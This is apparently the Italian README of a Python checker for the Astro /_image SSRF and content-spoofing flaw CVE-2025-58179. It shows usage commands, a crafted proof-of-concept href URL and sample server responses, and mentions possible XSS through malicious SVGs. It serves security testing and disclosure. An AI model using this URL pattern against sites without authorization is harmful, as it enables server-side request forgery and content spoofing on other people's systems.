
Script Python per verificare le vulnerabilità SSRF e di spoofing dei contenuti (CVE-2025-58179) nell'endpoint `/_image` di Astro, con generazione automatica di URL PoC e verifica della risposta HTTP.
CVE-2025-58179-Check è uno script Python semplice per verificare la vulnerabilità SSRF (Server-Side Request Forgery) / Content Spoofing sull'endpoint /_image nel framework Astro.
Questa vulnerabilità è tracciata come GHSA-qpr4-c339-7vq8 e CVE-2025-58179.
La vulnerabilità colpisce i siti Astro che utilizzano l'adapter @astrojs/cloudflare con configurazione output: 'server'. L'endpoint /_image, che dovrebbe ottimizzare le immagini, non valida correttamente il parametro href.
Ciò consente a un attaccante di far recuperare e servire al server contenuti provenienti da qualsiasi dominio esterno non autorizzato. L'impatto può essere SSRF e, se il contenuto esterno è un file dannoso (come un SVG contenente script), può portare a Cross-Site Scripting (XSS).
Questo script automatizza il processo di test per verificare se un sito è vulnerabile a questo problema.
Status 200 con Content-Type: image/*).requests (solo se si utilizza la funzionalità di verifica)Puoi installare requests usando pip:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyQuesta opzione stampa solo l'URL PoC già codificato. Utile se si desidera testare manualmente tramite browser o altri strumenti.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_IMMAGINE_ESTERNA>
Esempio:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Output:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Questa opzione genera l'URL e invia direttamente una richiesta HTTP GET per verificare la risposta del server.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_IMMAGINE_ESTERNA> -r
Esempio:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Se il server restituisce un codice di stato 200 e il tipo di contenuto è un'immagine, ciò indica che il server ha recuperato e servito contenuti esterni.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Un server già patchato o configurato correttamente rifiuterà le richieste verso domini esterni non autorizzati, di solito restituendo uno stato 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] AVVISO
- Questo script è stato creato a scopo educativo e per test di sicurezza legittimi.
- L'utente è pienamente responsabile delle proprie azioni. Non utilizzare questo script su sistemi di cui non si ha l'autorizzazione.